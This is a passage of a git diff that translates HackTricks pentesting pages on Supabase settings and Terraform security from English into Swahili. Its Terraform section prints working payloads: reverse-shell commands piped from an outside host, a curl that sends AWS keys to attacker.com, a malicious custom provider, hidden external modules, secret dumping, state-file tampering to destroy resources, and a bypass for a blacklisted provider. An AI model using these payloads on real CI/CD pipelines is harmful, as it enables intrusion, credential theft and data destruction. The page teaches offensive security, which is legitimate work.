kwenye mradi wako kwa kutumia viungo vya API vilivyotajwa hapo awali. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +Hata hivyo, akaunti hizi mpya, kwa kawaida, **zitahitaji kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Ruhusu kuingia kwa siri"** ili kuruhusu watu kuingia bila kuthibitisha anwani yao ya barua pepe. Hii inaweza kutoa ufikiaji wa **data zisizotarajiwa** (wanapata majukumu `public` na `authenticated`).\ +Hii ni wazo mbaya sana kwa sababu supabase inatoza kwa kila mtumiaji aliye hai hivyo watu wanaweza kuunda watumiaji na kuingia na supabase itatoza kwa hao:
-### Passwords & sessions +### Nywila & vikao -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +Inawezekana kuashiria urefu wa chini wa nywila (kwa kawaida), mahitaji (hapana kwa kawaida) na kuzuia matumizi ya nywila zilizovuja.\ +Inapendekezwa **kuboresha mahitaji kwani yale ya kawaida ni dhaifu**. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Vikao vya Watumiaji: Inawezekana kusanidi jinsi vikao vya watumiaji vinavyofanya kazi (muda wa kuisha, kikao 1 kwa mtumiaji...) +- Ulinzi wa Bot na Dhuluma: Inawezekana kuwezesha Captcha. -### SMTP Settings +### Mipangilio ya SMTP -It's possible to set an SMTP to send emails. +Inawezekana kuweka SMTP kutuma barua pepe. -### Advanced Settings +### Mipangilio ya Juu -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Weka muda wa kuisha kwa funguo za ufikiaji (3600 kwa kawaida) +- Weka kugundua na kufuta funguo za upya zinazoweza kuwa na hatari na muda wa kuisha +- MFA: Onyesha ni vigezo vingapi vya MFA vinaweza kuandikishwa kwa wakati mmoja kwa mtumiaji (10 kwa kawaida) +- Max Direct Database Connections: Idadi ya juu ya muunganisho inayotumika kuthibitisha (10 kwa kawaida) +- Max Request Duration: Muda wa juu unaoruhusiwa kwa ombi la Auth kudumu (10s kwa kawaida) -## Storage +## Hifadhi > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabase inaruhusu **kuhifadhi faili** na kuzipatia ufikiaji kupitia URL (inatumia S3 buckets). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Weka kikomo cha ukubwa wa faili zinazopakiwa (kawaida ni 50MB) +- Muunganisho wa S3 unapatikana kwa URL kama: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- Inawezekana **kuomba funguo za ufikiaji za S3** ambazo zinaundwa na `access key ID` (mfano `a37d96544d82ba90057e0e06131d0a7b`) na `secret access key` (mfano `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ## Edge Functions -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +Inawezekana **kuhifadhi siri** katika supabase pia ambazo zitakuwa **zinapatikana na edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye wavuti, lakini haiwezekani kufikia thamani yao moja kwa moja). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..9ec947c63 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,303 +6,273 @@ [From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomeka na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. #### How does Terraform work? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp na jamii ya Terraform tayari wameandika **zaidi ya watoa huduma 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi. -The core Terraform workflow consists of three stages: +Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Write:** Unafafanua rasilimali, ambazo zinaweza kuwa kati ya watoa huduma na huduma mbalimbali za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. +- **Plan:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. +- **Apply:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. ![](<../images/image (215).png>) ### Terraform Lab -Just install terraform in your computer. +Sakinisha terraform kwenye kompyuta yako. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una [njia bora ya kupakua terraform](https://www.terraform.io/downloads). ## RCE in Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi za terraform**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kijasiri** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/kuomba kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. **Using an external provider** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. +Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kitatekeleza shell ya rev wakati wa kutekeleza `terraform plan`: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Kutumia mtoa huduma maalum** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +Mshambuliaji anaweza kutuma [mtoa huduma maalum](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +Mtoa huduma hupakuliwa katika `init` na utaendesha msimbo mbaya wakati `plan` inatekelezwa -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Kutumia rejeleo la nje** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: +- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **faili ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Unahitaji tu kuhakikisha kuwa payload fulani kama ifuatavyo inamalizika katika faili ya `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` - Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. ## Secrets Dumps You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: - ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` - ## Abusing Terraform State Files -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +Katika hali ambapo una ufikiaji wa kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo: ### Deleting resources -There are 2 ways to destroy resources: +Kuna njia 2 za kuharibu rasilimali: -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Weka rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** +Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka kwa utafiti wa awali: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` - ### Replace blacklisted provider -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +Katika hali unayokutana nayo ambapo `hashicorp/external` imewekwa kwenye orodha ya mablacklist, unaweza kuitekeleza tena `external` provider kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya external provider iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji tena pia. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Kisha unaweza kutumia `external` kama kawaida. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - -## Automatic Audit Tools +## Zana za Ukaguzi wa Otomatiki ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. +- **Vipengele:** +- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya ufuatiliaji. +- Uunganisho na mifumo ya udhibiti wa toleo (GitHub, GitLab, Bitbucket). +- Maombi ya kurekebisha yaliyotolewa kiotomatiki. +- Ushauri wa kina wa kurekebisha. +- **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** ni chombo cha uchambuzi wa msimbo wa statiki kwa miundombinu kama msimbo (IaC) na pia chombo cha uchambuzi wa muundo wa programu (SCA) kwa picha na pakiti za chanzo wazi. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua usalama na makosa ya kufuata sheria kwa kutumia uchambuzi wa msingi wa grafu. +Inafanya [Uchambuzi wa Muundo wa Programu (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **compliance:** Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida +- **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? +- **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa +- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba mawasilisho yote yamehakikishwa. +- **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> Kwa bahati mbaya ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao huwezi kufanya `terraform plan` na kuendesha chombo hiki. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ā˜ļø Checks for misconfigurations across all major (and some minor) cloud providers -- ā›” Hundreds of built-in rules -- šŸŖ† Scans modules (local and remote) -- āž• Evaluates HCL expressions as well as literal values -- ā†Ŗļø Evaluates Terraform functions e.g. `concat()` -- šŸ”— Evaluates relationships between Terraform resources -- šŸ§° Compatible with the Terraform CDK -- šŸ™… Applies (and embellishes) user-defined Rego policies -- šŸ“ƒ Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- šŸ› ļø Configurable (via CLI flags and/or config file) -- āš” Very fast, capable of quickly scanning huge repositories +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi. +- ā˜ļø Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo) +- ā›” Mamia ya sheria zilizojengwa ndani +- šŸŖ† Inachunguza moduli (za ndani na za mbali) +- āž• Inakadiria maelezo ya HCL pamoja na thamani halisi +- ā†Ŗļø Inakadiria kazi za Terraform mfano `concat()` +- šŸ”— Inakadiria uhusiano kati ya rasilimali za Terraform +- šŸ§° Inafaa na Terraform CDK +- šŸ™… Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji +- šŸ“ƒ Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. +- šŸ› ļø Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi) +- āš” Haraka sana, ina uwezo wa kuchunguza haraka hifadhi kubwa ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Pata udhaifu wa usalama, masuala ya ulinganifu, na makosa ya usanidi wa miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. +**KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +Kutoka kwa [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. +- Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama. +- Kugundua udhaifu wa usalama na ukiukaji wa kufuata. +- Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu. +- Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako. ```bash brew install terrascan ``` - -## References +## Marejeo - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..8d5b20e54 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) hizo platforms kutoka kwa mtazamo wa mshambuliaji - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Jukwaa lolote lingine la CI/CD... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..f17d29b9c 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ 